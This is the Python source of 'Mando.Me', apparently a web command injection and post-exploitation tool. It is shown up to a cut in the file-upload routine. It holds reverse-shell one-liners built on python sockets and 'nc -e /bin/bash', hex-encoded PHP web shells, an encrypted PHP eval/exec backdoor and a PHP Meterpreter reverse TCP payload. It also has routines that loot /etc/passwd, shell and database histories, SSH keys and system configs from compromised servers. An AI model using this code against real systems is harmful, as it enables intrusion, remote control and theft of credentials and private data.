2351 lines
88 KiB
Python
2351 lines
88 KiB
Python
#!/usr/bin/env python3
|
|
import os
|
|
import sys
|
|
import getopt
|
|
import urllib
|
|
import urllib.request
|
|
import re
|
|
import socket
|
|
import threading
|
|
import time
|
|
import binascii
|
|
import hashlib
|
|
import math
|
|
import random
|
|
import string
|
|
import json
|
|
import base64
|
|
import zlib
|
|
import textwrap
|
|
import readline
|
|
import signal
|
|
import platform
|
|
import dateutil
|
|
import fcntl
|
|
import errno
|
|
|
|
### TODO :: Add proxy support
|
|
__author__ = "z0noxz"
|
|
_gs = {
|
|
"_stager" : "cmd",
|
|
"_var_exec" : "SMPLSHLLEXEC",
|
|
"_var_eval" : "SMPLSHLLEVAL",
|
|
"_var_sudo" : "SMPLSHLLSUDO",
|
|
"_var_sudo_prompt" : "SMPLSHLLSUDOPROMPT",
|
|
|
|
"dir_loot" : ".ssc/{0}/.loot/{1}/",
|
|
"_is_sudo" : False,
|
|
|
|
"url" : "",
|
|
"post" : None,
|
|
"get" : None,
|
|
"cookies" : None,
|
|
|
|
"chunk_size" : 65,
|
|
"initial_path" : "",
|
|
"shell_path" : "",
|
|
"working_directory" : "",
|
|
|
|
"reverse_shells": [
|
|
"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{0}\",{1}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'",
|
|
"nc -e /bin/bash {0} {1}",
|
|
"/bin/nc.traditional -e /bin/bash {0} {1}",
|
|
],
|
|
|
|
"payloads": {
|
|
"stager": {
|
|
"path" : "",
|
|
"payload" : "3c3f7068702069662028697373657428245f4745545b22636d64225d2929207b206563686f207368656c6c5f6578656328245f4745545b22636d64225d293b206469653b207d203f3e"
|
|
},
|
|
"smplshll": {
|
|
"path" : "",
|
|
"payload" : "66756e6374696f6e205f637279707428246b65792c2024737472696e672c2024616374696f6e203d2022656e637279707422290a7b0a0924726573203d2022223b0a090a096966202824616374696f6e20213d3d2022656e637279707422290a097b0a090924737472696e67203d206261736536345f6465636f64652824737472696e67293b0a097d0a090a09666f7220282469203d20303b202469203c207374726c656e2824737472696e67293b2024692b2b290a097b0a09092463203d206f7264287375627374722824737472696e672c20246929293b0a09090a09096966202824616374696f6e203d3d2022656e637279707422290a09097b0a0909092463202b3d206f72642873756273747228246b65792c2028282469202b2031292025207374726c656e28246b6579292929293b0a09090924726573202e3d2063687228246320262030784646293b0a09097d0a0909656c73650a09097b0a0909092463202d3d206f72642873756273747228246b65792c2028282469202b2031292025207374726c656e28246b6579292929293b0a09090924726573202e3d20636872286162732824632920262030784646293b0a09097d0a097d0a090a096966202824616374696f6e203d3d2022656e637279707422290a097b0a090924726573203d206261736536345f656e636f64652824726573293b0a097d0a090a0972657475726e20247265733b0a7d0a0a66756e6374696f6e2063616c6c6261636b2824627566666572290a7b0a0972657475726e20285f637279707428225f5f494e505f5053575f5f222c20246275666665722c2022656e63727970742229293b0a7d0a0a6f625f7374617274282263616c6c6261636b22293b0a0a69662028697373657428245f5345525645525b22485454505f5f5f494e505f5641525f4556414c5f5f225d29290a7b0a096576616c285f637279707428225f5f494e505f5053575f5f222c20245f5345525645525b22485454505f5f5f494e505f5641525f4556414c5f5f225d2c20225f5f494e505f5053575f5f2229293b0a096469653b0a7d0a0a69662028697373657428245f5345525645525b22485454505f5f5f494e505f5641525f455845435f5f225d29290a7b0a096563686f207368656c6c5f65786563285f637279707428225f5f494e505f5053575f5f222c20245f5345525645525b22485454505f5f5f494e505f5641525f455845435f5f225d2c20225f5f494e505f5053575f5f2229293b0a096469653b0a7d0a0a69662028697373657428245f5345525645525b22485454505f5f5f494e505f5641525f5355444f5f5f225d29290a7b0a09247069203d20617272617928293b0a09247072203d2070726f635f6f70656e285f637279707428225f5f494e505f5053575f5f222c20245f5345525645525b22485454505f5f5f494e505f5641525f5355444f5f5f225d2c20225f5f494e505f5053575f5f22292c206172726179286172726179282270697065222c20227222292c206172726179282270697065222c2022772229292c20247069293b0a090a0969662028697373657428245f5345525645525b22485454505f5f5f494e505f5641525f5355444f5f50524f4d50545f5f225d29290a097b0a0909667772697465282470697065735b305d2c205f637279707428225f5f494e505f5053575f5f222c20245f5345525645525b22485454505f5f5f494e505f5641525f5355444f5f50524f4d50545f5f225d2c20225f5f494e505f5053575f5f2229293b0a097d0a090a0966636c6f7365282470695b305d293b0a097072696e745f722873747265616d5f6765745f636f6e74656e7473282470695b315d29293b0a0970726f635f636c6f736528247072293b0a096469653b0a7d0a0a6f625f656e645f666c75736828293b"
|
|
}
|
|
},
|
|
|
|
"meterpreter_payloads": {
|
|
"php_meterpreter_reverse_tcp" : "6572726f725f7265706f7274696e672830293b20246970203d2022{0}223b2024706f7274203d20{1}3b2069662028282466203d202273747265616d5f736f636b65745f636c69656e7422292026262069735f63616c6c61626c652824662929207b202473203d20246628227463703a2f2f7b2469707d3a7b24706f72747d22293b2024735f74797065203d202273747265616d223b207d20656c736569662028282466203d202266736f636b6f70656e22292026262069735f63616c6c61626c652824662929207b202473203d202466282469702c2024706f7274293b2024735f74797065203d202273747265616d223b207d20656c736569662028282466203d2022736f636b65745f63726561746522292026262069735f63616c6c61626c652824662929207b202473203d2024662841465f494e45542c20534f434b5f53545245414d2c20534f4c5f544350293b2024726573203d2040736f636b65745f636f6e6e6563742824732c202469702c2024706f7274293b2069662028212472657329207b2064696528293b207d2024735f74797065203d2022736f636b6574223b207d20656c7365207b2064696528226e6f20736f636b65742066756e637322293b207d206966202821247329207b2064696528226e6f20736f636b657422293b207d20737769746368202824735f7479706529207b2063617365202273747265616d223a20246c656e203d2066726561642824732c2034293b20627265616b3b20636173652022736f636b6574223a20246c656e203d20736f636b65745f726561642824732c2034293b20627265616b3b207d206966202821246c656e29207b2064696528293b207d202461203d20756e7061636b28224e6c656e222c20246c656e293b20246c656e203d2024615b226c656e225d3b202462203d2022223b207768696c6520287374726c656e28246229203c20246c656e29207b20737769746368202824735f7479706529207b2063617365202273747265616d223a202462202e3d2066726561642824732c20246c656e2d7374726c656e28246229293b20627265616b3b20636173652022736f636b6574223a202462202e3d20736f636b65745f726561642824732c20246c656e2d7374726c656e28246229293b20627265616b3b207d207d2024474c4f42414c535b226d7367736f636b225d203d2024733b2024474c4f42414c535b226d7367736f636b5f74797065225d203d2024735f747970653b206576616c282462293b2064696528293b"
|
|
}
|
|
}
|
|
|
|
help_notes = """
|
|
Mando.Me (Web Command Injection) 0.1
|
|
-----------------------------
|
|
Created by: z0noxz
|
|
https://github.com/z0noxz/mando.me
|
|
|
|
Usage: (python) mando.me.py [options]
|
|
|
|
Options:
|
|
--help Show this help message and exit
|
|
--url Shell interface URL without paramters (e.g. "http://www.site.com/simple-shell.php")
|
|
|
|
--post Declare POST data (eg. "{'submit':'','ip':_INJECT_}")
|
|
--get Declare GET data (eg. "{'ip':_INJECT_}")
|
|
--cookies Declare COOKIE data (eg. "PHPSESSID=deadbeefdeadbeefdeadbeefdeadbeef")
|
|
|
|
Shell commands:
|
|
Commands that are executable while in shell interface
|
|
|
|
meterpreter Injects a PHP Meterpreter, PHP Reverse TCP Stager (requires a listener for php/meterpreter/reverse_tcp)
|
|
upload Upload a file
|
|
download Download a file
|
|
kill_self Cleans up traces and aborts the shell
|
|
exit Exits the shell
|
|
"""
|
|
|
|
def split(str, num): return [ str[start:start+num] for start in range(0, len(str), num) ]
|
|
def enum(**enums): return type("Enum", (), enums)
|
|
def enum_name(value, enum): return next((x for x in enum.__dict__.keys() if (enum.__name__ == "Enum" and not (x == "__doc__" or x == "__dict__" or x == "__weakref__") and enum.__dict__[x] == value)), "")
|
|
|
|
class Print(object):
|
|
|
|
@staticmethod
|
|
def text(text = "", continuous = False):
|
|
if continuous:
|
|
sys.stdout.write(" " + text)
|
|
sys.stdout.flush()
|
|
else:
|
|
print(" " + text)
|
|
return len(text)
|
|
|
|
@staticmethod
|
|
def debug(text = ""): return Print.text("debug :: " + text)
|
|
|
|
@staticmethod
|
|
def info(text = "", continuous = False): return Print.text("\033[94m[i]\033[0m " + text, continuous)
|
|
|
|
@staticmethod
|
|
def warning(text = "", continuous = False): return Print.text("\033[96m[!]\033[0m " + text, continuous)
|
|
|
|
@staticmethod
|
|
def status(text = "", continuous = False): return Print.text("\033[94m[*]\033[0m " + text, continuous)
|
|
|
|
@staticmethod
|
|
def error(text = "", continuous = False): return Print.text("\033[91m[-]\033[0m " + text, continuous)
|
|
|
|
@staticmethod
|
|
def success(text = "", continuous = False): return Print.text("\033[92m[+]\033[0m " + text, continuous)
|
|
|
|
@staticmethod
|
|
def confirm(text = ""):
|
|
Print.text("\033[38;5;133m[?] " + text + " (Y/n): \033[0m", True)
|
|
return not (input().strip()).lower() in ["n", "no"]
|
|
|
|
|
|
@staticmethod
|
|
def table(caption = "", description = "", headers = [], rows = {}):
|
|
|
|
if len(rows) == 0:
|
|
rows.append(dict((x, "") for x in range(0, len(headers))))
|
|
|
|
max_headers = list(
|
|
(
|
|
max(
|
|
max(
|
|
map(
|
|
len, (str(rows[i][j]) for i in range(0, len(rows)))
|
|
)
|
|
), len(headers[j])
|
|
)
|
|
) for j in range(0, len(headers))
|
|
)
|
|
|
|
hr_width = (sum(max_headers) + ((len(max_headers) - 1) * 2))
|
|
|
|
if caption != "":
|
|
Print.text(caption.center(hr_width))
|
|
Print.text("=" * hr_width)
|
|
|
|
if description != "":
|
|
Print.text(textwrap.fill(description, width = hr_width, initial_indent = "", subsequent_indent = " "))
|
|
Print.text()
|
|
|
|
if "".join(headers) != "":
|
|
Print.text(" ".join(headers[i] + (" " * (max_headers[i] - len(headers[i]))) for i in range(0, len(headers))))
|
|
Print.text(" ".join(("-" * (max_headers[i])) for i in range(0, len(headers))))
|
|
|
|
for row in rows:
|
|
Print.text(" ".join(str(row[i]) + (" " * (max_headers[i] - len(str(row[i])))) for i in range(0, len(headers))))
|
|
|
|
if "list" in row.keys() and row["list"] != None:
|
|
index = row["list"]["index"]
|
|
array = row["list"]["array"]
|
|
|
|
for item in array:
|
|
Print.text((" " * (sum(max_headers[:index])) + index) + item)
|
|
Print.text()
|
|
|
|
class Utility(object):
|
|
|
|
os = enum (
|
|
UNDEFINED = 1000,
|
|
WINDOWS = 1001,
|
|
LINUX = 1002
|
|
)
|
|
|
|
@staticmethod
|
|
def crypt(key, data, encrypt = True):
|
|
result = bytearray()
|
|
|
|
for i, c in enumerate(data if encrypt else base64.b64decode(data)):
|
|
if encrypt:
|
|
result.append(int(ord(c) + ord(key[((i + 1) % len(key)):][:1]) & 0xff))
|
|
else:
|
|
result.append(int(abs(c - ord(key[((i + 1) % len(key)):][:1])) & 0xff))
|
|
|
|
return base64.b64encode(result).decode("utf-8") if encrypt else "".join(chr(c) for c in result)
|
|
|
|
@staticmethod
|
|
def hexToStr(h):
|
|
return bytes.fromhex(h).decode("utf-8")
|
|
|
|
@staticmethod
|
|
def strToHex(s):
|
|
return binascii.hexlify(s.encode("utf-8")).decode("utf-8")
|
|
|
|
@staticmethod
|
|
def ip4_addresses():
|
|
return [l for l in ([ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith("127.")][:1], [[(s.connect(('8.8.8.8', 53)), s.getsockname()[0], s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]]) if l][0]
|
|
|
|
@staticmethod
|
|
def loot_name(sufix, sub_dir = ""):
|
|
_dir = _gs["dir_loot"]
|
|
|
|
if sub_dir != "": _dir += sub_dir
|
|
if not os.path.exists(_dir): os.makedirs(_dir)
|
|
|
|
return _dir + time.strftime("%Y%m%d%H%M%S") + "_" + sufix
|
|
|
|
@staticmethod
|
|
def save_loot(file_name, loot, sub_dir = ""):
|
|
file_name = Utility.loot_name(file_name, sub_dir)
|
|
with open(file_name, "w") as file:
|
|
file.write(loot)
|
|
Print.success("Loot saved at " + file_name)
|
|
|
|
@staticmethod
|
|
def check_working_directory(working_directory, new_directory):
|
|
new_directory = new_directory if not new_directory == "" else working_directory
|
|
|
|
if (re.match("^(/[^/ ]*)+/?$", new_directory)):
|
|
if (PHPInteractor.command("if test -d " + new_directory + "; then \"1\"; fi") == ""):
|
|
return new_directory
|
|
|
|
return working_directory
|
|
|
|
@staticmethod
|
|
def filesize(size):
|
|
for unit in ["Bytes", "KB", "MB", "GB", "TB", "PB", "EB", "ZB"]:
|
|
if abs(size) < 1024.0:
|
|
return "%3.1f %s" % (size, unit)
|
|
size /= 1024.0
|
|
return "%.1f%s%s" % (size, 'Yi', suffix)
|
|
|
|
@staticmethod
|
|
def self_or_sudo(command):
|
|
if _gs["_is_sudo"]:
|
|
return PHPInteractor.sudo_command("sudo " + command)
|
|
else:
|
|
return PHPInteractor.command(command)
|
|
|
|
@staticmethod
|
|
def dist_name():
|
|
return PHPInteractor.command("lsb_release -si").strip().lower()
|
|
|
|
@staticmethod
|
|
def get_os(interactor = None):
|
|
_system = platform.system() # Gets local platform
|
|
|
|
if interactor != None:
|
|
if interactor("uname -s").strip().lower() in ["sunos", "aix", "linux"]: _system = "linux"
|
|
elif "windows" in interactor("ver").strip().lower(): _system = "windows"
|
|
else: _system = "undefined"
|
|
|
|
return next((Utility.os.__dict__[x] for x in Utility.os.__dict__.keys() if (x.lower() == _system.lower())), Utility.os.UNDEFINED)
|
|
|
|
class PHPInteractor(object):
|
|
global _gs
|
|
|
|
@staticmethod
|
|
def send(url, headers, timeout):
|
|
request = urllib.request.Request(url)
|
|
data = ""
|
|
|
|
# Add password key
|
|
request.add_header(_gs["smplshll_main_password_var"], _gs["smplshll_main_password"])
|
|
|
|
for header in headers.keys():
|
|
request.add_header(header, Utility.crypt(_gs["smplshll_input_password"], headers[header]))
|
|
|
|
if timeout > 0:
|
|
data = urllib.request.urlopen(request, timeout = timeout).read()
|
|
else:
|
|
data = urllib.request.urlopen(request).read()
|
|
|
|
return Utility.crypt(_gs["smplshll_input_password"], data, False) if _gs["smplshll_response_encryption"] else data
|
|
|
|
@staticmethod
|
|
def command(cmd, timeout = 0):
|
|
return PHPInteractor.send(_gs["url_exec"], {_gs["_var_exec"]: cmd}, timeout)
|
|
|
|
@staticmethod
|
|
def sudo_command(cmd, timeout = 0):
|
|
return PHPInteractor.send(_gs["url_exec"], {_gs["_var_sudo"]: cmd}, timeout)
|
|
|
|
@staticmethod
|
|
def sudo_command_prompt(cmd, prompt, timeout = 0):
|
|
return PHPInteractor.send(_gs["url_exec"], {_gs["_var_sudo"]: cmd, _gs["_var_sudo_prompt"]: prompt}, timeout)
|
|
|
|
@staticmethod
|
|
def eval(cmd, timeout = 0):
|
|
return PHPInteractor.send(_gs["url_exec"], {_gs["_var_eval"]: cmd}, timeout)
|
|
|
|
class MandoCommand(object):
|
|
global _gs
|
|
|
|
@staticmethod
|
|
def separator():
|
|
|
|
if _gs["system"] == Utility.os.LINUX:
|
|
return "/"
|
|
elif _gs["system"] == Utility.os.WINDOWS:
|
|
return "\\"
|
|
else:
|
|
return ""
|
|
|
|
@staticmethod
|
|
def mc_sudo(match):
|
|
if _gs["_is_sudo"]:
|
|
result = PHPInteractor.sudo_command("sudo " + match.group(1))
|
|
if result.strip() != "":
|
|
for x in result.strip().split("\n"): Print.text(x)
|
|
else:
|
|
Print.info("No output")
|
|
else:
|
|
Print.error(PHPInteractor.command("whoami").strip() + " is not a compatible sudoer")
|
|
Print.info("The user must be a sudoer and have the option 'ALL=(ALL) NOPASSWD: ALL'")
|
|
Print.info("Tips: Check out the command 'enable_sudo' through the shell")
|
|
|
|
@staticmethod
|
|
def mc_sessions(match):
|
|
SessionManager.select()
|
|
|
|
@staticmethod
|
|
def mc_interact(match):
|
|
session = SessionManager.select(int(match.group(1)))
|
|
if session != None: session.interact()
|
|
|
|
@staticmethod
|
|
def mc_meterpreter(match):
|
|
|
|
Print.text()
|
|
Print.info("Preparing meterpreter payload")
|
|
payload = _gs["meterpreter_payloads"]["php_meterpreter_reverse_tcp"].format("".join("{:02x}".format(ord(c)) for c in match.group(1)), "".join("{:02x}".format(ord(c)) for c in match.group(5)))
|
|
|
|
MandoCommand.mc_meterpreter_state = 0
|
|
def injector(payload):
|
|
try:
|
|
PHPInteractor.eval(payload, 1)
|
|
except:
|
|
MandoCommand.mc_meterpreter_state = 1
|
|
return
|
|
|
|
MandoCommand.mc_meterpreter_state = -1
|
|
|
|
Print.info("Injecting meterpreter payload through PHP evaluation")
|
|
threading.Thread(target = injector, args = (Utility.hexToStr(payload), )).start()
|
|
|
|
while True:
|
|
if MandoCommand.mc_meterpreter_state != 0:
|
|
Print.success("Meterpreter injection succeeded") if MandoCommand.mc_meterpreter_state == 1 else Print.error("Meterpreter injection failed")
|
|
break
|
|
|
|
Print.text()
|
|
|
|
@staticmethod
|
|
def mc_gather_user_history(match):
|
|
|
|
user = Utility.self_or_sudo("/usr/bin/whoami").strip()
|
|
|
|
Print.info("Executing as '" + user + "'")
|
|
if user != "root": Print.warning("For best effect, this should be executed as root")
|
|
Print.text()
|
|
|
|
users = Utility.self_or_sudo("/bin/cat /etc/passwd | cut -d : -f 1").strip().split("\n")
|
|
shells = ["ash", "bash", "csh", "ksh", "sh", "tcsh", "zsh"]
|
|
applications = [".mysql_history", ".psql_history", ".dbshell", ".viminfo"]
|
|
counter = 0
|
|
|
|
Print.status("Retrieving history for " + str(len(users)) + " users")
|
|
print("")
|
|
|
|
for user in users:
|
|
counter += 1
|
|
Print.status("" + str(counter) + " of " + str(len(users)) + " inspecting user " + user)
|
|
home_dir = Utility.self_or_sudo("echo ~" + user).strip()
|
|
if Utility.self_or_sudo("[ -d " + home_dir + " ] && echo 'found' || echo 'not found'").strip() == "found":
|
|
Print.status("Looting home directory for " + user)
|
|
for shell in shells:
|
|
shell_file = home_dir + "/." + shell + "_history"
|
|
if Utility.self_or_sudo("[ -f " + shell_file + " ] && echo 'found' || echo 'not found'").strip() == "found":
|
|
Print.status("Extracting " + shell + " history for " + user)
|
|
history = Utility.self_or_sudo("cat " + shell_file).strip()
|
|
Utility.save_loot(user + ".shell_history." + shell, history, "user_history/")
|
|
for application in applications:
|
|
application_file = home_dir + "/" + application
|
|
if Utility.self_or_sudo("[ -f " + application_file + " ] && echo 'found' || echo 'not found'").strip() == "found":
|
|
Print.status("Extracting " + application + " file for " + user)
|
|
history = Utility.self_or_sudo("cat " + application_file).strip()
|
|
Utility.save_loot(user + ".applicaiton_history." + application_file, history, "user_history/")
|
|
if counter < len(users):
|
|
print("")
|
|
|
|
@staticmethod
|
|
def mc_gather_system_info(match):
|
|
|
|
dist = Utility.dist_name()
|
|
user = Utility.self_or_sudo("/usr/bin/whoami").strip()
|
|
|
|
Print.info("Executing as '" + user + "'")
|
|
if user != "root": Print.warning("For best effect, this should be executed as root")
|
|
Print.info("Identified the system to be '" + dist + "'")
|
|
Print.text()
|
|
|
|
operations = {
|
|
"fedora,redhat,suse,mandrake,oracle,amazon": {
|
|
"users": "/bin/cat /etc/passwd | cut -d : -f 1",
|
|
"packages": "rpm -qa",
|
|
"services": "/sbin/chkconfig --list",
|
|
"disk_info": "/bin/mount -l && /bin/df -ahT",
|
|
"logfiles": "find /var/log -type f -perm -4 2> /dev/null",
|
|
"setuid_setgid": "find / -xdev -type f -perm +6000 -perm -1 2> /dev/null",
|
|
},
|
|
"slackware": {
|
|
"users": "/bin/cat /etc/passwd | cut -d : -f 1",
|
|
"packages": "/bin/ls /var/log/packages",
|
|
"services": "ls -F /etc/rc.d | /bin/grep \'*$\'",
|
|
"disk_info": "/bin/mount -l && /bin/df -ahT",
|
|
"logfiles": "find /var/log -type f -perm -4 2> /dev/null",
|
|
"setuid_setgid": "find / -xdev -type f -perm +6000 -perm -1 2> /dev/null",
|
|
},
|
|
"ubuntu,debian": {
|
|
"users": "/bin/cat /etc/passwd | cut -d : -f 1",
|
|
"packages": "/usr/bin/dpkg -l",
|
|
"services": "/usr/sbin/service --status-all",
|
|
"disk_info": "/bin/mount -l && /bin/df -ahT",
|
|
"logfiles": "find /var/log -type f -perm -4 2> /dev/null",
|
|
"setuid_setgid": "find / -xdev -type f -perm +6000 -perm -1 2> /dev/null",
|
|
},
|
|
"gentoo": {
|
|
"users": "/bin/cat /etc/passwd | cut -d : -f 1",
|
|
"packages": "equery list",
|
|
"services": "/bin/rc-status --all",
|
|
"disk_info": "/bin/mount -l && /bin/df -ahT",
|
|
"logfiles": "find /var/log -type f -perm -4 2> /dev/null",
|
|
"setuid_setgid": "find / -xdev -type f -perm +6000 -perm -1 2> /dev/null",
|
|
},
|
|
"arch": {
|
|
"users": "/bin/cat /etc/passwd | cut -d : -f 1",
|
|
"packages": "/usr/bin/pacman -Q",
|
|
"services": "/bin/egrep '^DAEMONS' /etc/rc.conf",
|
|
"disk_info": "/bin/mount -l && /bin/df -ahT",
|
|
"logfiles": "find /var/log -type f -perm -4 2> /dev/null",
|
|
"setuid_setgid": "find / -xdev -type f -perm +6000 -perm -1 2> /dev/null",
|
|
},
|
|
}
|
|
|
|
for operation in operations.keys():
|
|
if dist in operation.split(","):
|
|
for action in operations[operation].keys():
|
|
Utility.save_loot(dist + "." + action, Utility.self_or_sudo(operations[operation][action]).strip(), "system_info/")
|
|
return
|
|
|
|
Print.error("No operation defined for this distro")
|
|
|
|
@staticmethod
|
|
def mc_gather_configs(match):
|
|
|
|
dist = Utility.dist_name()
|
|
user = Utility.self_or_sudo("/usr/bin/whoami").strip()
|
|
|
|
Print.info("Executing as '" + user + "'")
|
|
if user != "root": Print.warning("For best effect, this should be executed as root")
|
|
Print.text()
|
|
|
|
configs = [
|
|
"/etc/apache2/apache2.conf",
|
|
"/etc/apache2/ports.conf",
|
|
"/etc/nginx/nginx.conf",
|
|
"/etc/snort/snort.conf",
|
|
"/etc/mysql/my.cnf",
|
|
"/etc/ufw/ufw.conf",
|
|
"/etc/ufw/sysctl.conf",
|
|
"/etc/security.access.conf",
|
|
"/etc/shells",
|
|
"/etc/security/sepermit.conf",
|
|
"/etc/ca-certificates.conf",
|
|
"/etc/security/access.conf",
|
|
"/etc/gated.conf",
|
|
"/etc/rpc",
|
|
"/etc/psad/psad.conf",
|
|
"/etc/mysql/debian.cnf",
|
|
"/etc/chkrootkit.conf",
|
|
"/etc/logrotate.conf",
|
|
"/etc/rkhunter.conf",
|
|
"/etc/samba/smb.conf",
|
|
"/etc/ldap/ldap.conf",
|
|
"/etc/openldap/openldap.conf",
|
|
"/etc/cups/cups.conf",
|
|
"/etc/opt/lampp/etc/httpd.conf",
|
|
"/etc/sysctl.conf",
|
|
"/etc/proxychains.conf",
|
|
"/etc/cups/snmp.conf",
|
|
"/etc/mail/sendmail.conf",
|
|
"/etc/snmp/snmp.conf"
|
|
]
|
|
|
|
for config in configs:
|
|
if Utility.self_or_sudo("[ -f " + config + " ] && echo 'found' || echo 'not found'").strip() == "found":
|
|
Utility.save_loot(dist + "." + config.replace("/", "_"), Utility.self_or_sudo("cat " + config).strip(), "configs/")
|
|
|
|
@staticmethod
|
|
def mc_status(match = None):
|
|
Print.text("")
|
|
Print.table(
|
|
headers = ["", ""],
|
|
rows = list(
|
|
[
|
|
{
|
|
0 : "Shell",
|
|
1 : ": " + _gs["shell_path"]
|
|
},
|
|
{
|
|
0 : "System",
|
|
1 : ": " + PHPInteractor.command("uname -a").strip() if _gs["system"] == Utility.os.LINUX else PHPInteractor.command("ver").strip() if _gs["system"] == Utility.os.WINDOWS else ""
|
|
},
|
|
{
|
|
0 : "Id",
|
|
1 : ": " + PHPInteractor.command("id").strip()
|
|
},
|
|
{
|
|
0 : "Sudo",
|
|
1 : ": " + ("\033[92mAccess granted\033[0m" if _gs["_is_sudo"] else "\033[91mAccess denied\033[0m")
|
|
},
|
|
{
|
|
0 : "Help",
|
|
1 : ": " + "?"
|
|
},
|
|
]
|
|
)
|
|
)
|
|
Print.text("")
|
|
|
|
@staticmethod
|
|
def mc_shell(match):
|
|
Print.text("")
|
|
shell = SessionManager.register(Shell(match.group(1), 0), "Reverse Shell")
|
|
shell.open()
|
|
if hasattr(shell, "interact"): shell.interact()
|
|
|
|
@staticmethod
|
|
def mc_pwd(match = None):
|
|
|
|
wd = ""
|
|
|
|
if _gs["system"] == Utility.os.LINUX:
|
|
wd = PHPInteractor.command("pwd").strip()
|
|
elif _gs["system"] == Utility.os.WINDOWS:
|
|
wd = PHPInteractor.command("echo %cd%").strip()
|
|
|
|
if match != None: Print.text(wd)
|
|
return wd
|
|
|
|
@staticmethod
|
|
def mc_ls(match = None):
|
|
#import dateutil.parser
|
|
|
|
dir = []
|
|
Print.text()
|
|
|
|
if _gs["system"] == Utility.os.LINUX:
|
|
wd = PHPInteractor.command("cd " + _gs["working_directory"] + " && ls").strip()
|
|
elif _gs["system"] == Utility.os.WINDOWS:
|
|
for o in PHPInteractor.command("echo off && cd " + _gs["working_directory"] + " && FOR /D %D IN (*) DO (echo %~aD;%~tD;;%~nD)").strip().split("\n") + PHPInteractor.command("echo off && cd " + _gs["working_directory"] + " && FOR %F IN (*) DO (echo %~aF;%~tF;%~zF;%~nxF)").strip().split("\n"):
|
|
x = o.split(";")
|
|
dt = parse(x[1])
|
|
|
|
dir.append({
|
|
0 : x[0],
|
|
1 : Utility.filesize(int(x[2] if x[2] != "" else 0)).rjust(16),
|
|
2 : "dir" if x[2] == "" else x[3][x[3].rfind(".") + 1:] if "." in x[3] else "n/a",
|
|
3 : "{0}-{1:02}-{2:02} {3:02}:{4:02}".format(dt.year, dt.month, dt.day, dt.hour, dt.minute),
|
|
4 : x[3]
|
|
})
|
|
|
|
Print.table(
|
|
caption = _gs["working_directory"],
|
|
headers = ["Attributes", "Size", "Type", "Last modified", "Name"],
|
|
rows = dir
|
|
)
|
|
Print.text()
|
|
|
|
@staticmethod
|
|
def mc_gather_network_info(match):
|
|
user = Utility.self_or_sudo("/usr/bin/whoami").strip()
|
|
|
|
Print.text("")
|
|
Print.info("Executing as '" + user + "'")
|
|
if user != "root": Print.warning("For best effect, this should be executed as root")
|
|
Print.info("Enumerating and collecting network data...")
|
|
Print.text()
|
|
|
|
def ssh_keys():
|
|
keys = []
|
|
base = [m.group(0) for d in Utility.self_or_sudo("/usr/bin/find / -maxdepth 3 -name .ssh").split("\n") for m in [re.search(r"(^\/)(.*)\.ssh$", d)] if m]
|
|
|
|
if len(base) > 0:
|
|
for file in Utility.self_or_sudo("/bin/ls -a " + base[0]).strip().split("\n"):
|
|
if re.match(r"^(\.+)$", file):
|
|
keys.append(Utility.self_or_sudo("cat " + base[0] + "/" + file))
|
|
return "\n".join(keys)
|
|
|
|
def arp():
|
|
records = []
|
|
for address in re.findall(r"((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)(\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3})\s*(([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2}))", Utility.self_or_sudo("arp -a")):
|
|
if not address.group(5).lower().startswith("01-00-5e"):
|
|
records.append(address.group(1).ljust(10, " ") + Utility.self_or_sudo("nslookup " + address.group(1)).ljust(10, " ") + address.group(5).ljust(10, " ")) # TODO :: Add
|
|
return "\n".join(records)
|
|
|
|
for operation, actions in {
|
|
"nconf" : ["/sbin/ifconfig -a"],
|
|
"routes" : ["/sbin/route -e"],
|
|
"iptables" : ["/sbin/iptables -L", "/sbin/iptables -L -t nat", "/sbin/iptables -L -t mangle"],
|
|
"resolv" : ["cat /etc/resolv.conf"],
|
|
"sshd_conf" : ["cat /etc/ssh/sshd_config"],
|
|
"ssh_keys" : [ssh_keys],
|
|
"hosts" : ["cat /etc/hosts"],
|
|
"connections" : ["/usr/bin/lsof -nPi"],
|
|
"wireless" : ["/sbin/iwconfig"],
|
|
"open_ports" : ["/bin/netstat -tulpn"],
|
|
"updown" : ["ls -R /etc/network"],
|
|
"arp" : [arp],
|
|
}.iteritems():
|
|
result = "\n".join(action() if hasattr(action, "__call__") else Utility.self_or_sudo(action).strip() for action in actions)
|
|
Utility.save_loot("network." + operation, result, "network_info/") if result != "" else Print.error(operation + " returned empty")
|
|
|
|
Print.text("")
|
|
|
|
@staticmethod
|
|
def mc_file_upload(match):
|
|
global _gs
|
|
|
|
print("")
|
|
print(" File Uploader:")
|
|
print(" ------------------------------------------------------------------")
|
|
print(" This program simply uploads a file to the target server")
|
|
print("")
|
|
|
|
lpath = input(" Local path: ")
|
|
file_name = lpath[lpath.rfind("/") + 1:]
|
|
|
|
sys.stdout.write("\n Initializing..................................................")
|
|
sys.stdout.flush()
|
|
print("[\033[92mOK\033[0m]")
|
|
|
|
try:
|
|
with open(lpath, "rb") as f:
|
|
|
|
counter = 1
|
|
step = 1
|
|
chunk_size = _gs["chunk_size"]
|
|
progress_width = 64 - 8
|
|
file_size = os.path.getsize(lpath)
|
|
chunk_count = math.ceil(file_size / chunk_size)
|
|
local_hash_md5 = hashlib.md5()
|
|
|
|
## Setup progress bar
|
|
sys.stdout.write(" Uploading")
|
|
sys.stdout.flush()
|
|
|
|
PHPInteractor.command("cd " + _gs["working_directory"] + " && rm " + file_name)
|
|
PHPInteractor.command("cd " + _gs["working_directory"] + " && touch " + file_name)
|
|
|
|
while True:
|
|
chunk = f.read(chunk_size)
|
|
local_hash_md5.update(chunk)
|
|
|
|
if chunk:
|
|
chunk = binascii.hexlify(chunk).decode("utf-8")
|
|
chunk = "0x" + "0x".join([chunk[i:i + 2] for i in range(0, len(chunk), 2)])
|
|
|
|
PHPInteractor.command("cd " + _gs["working_directory"] + " && echo '" + chunk + "' >> " + file_name)
|
|
|
|
if ((counter / (chunk_count / progress_width)) > step):
|
|
sys.stdout.write(".")
|
|
sys.stdout.flush()
|
|
step += 1
|
|
counter += 1
|
|
else:
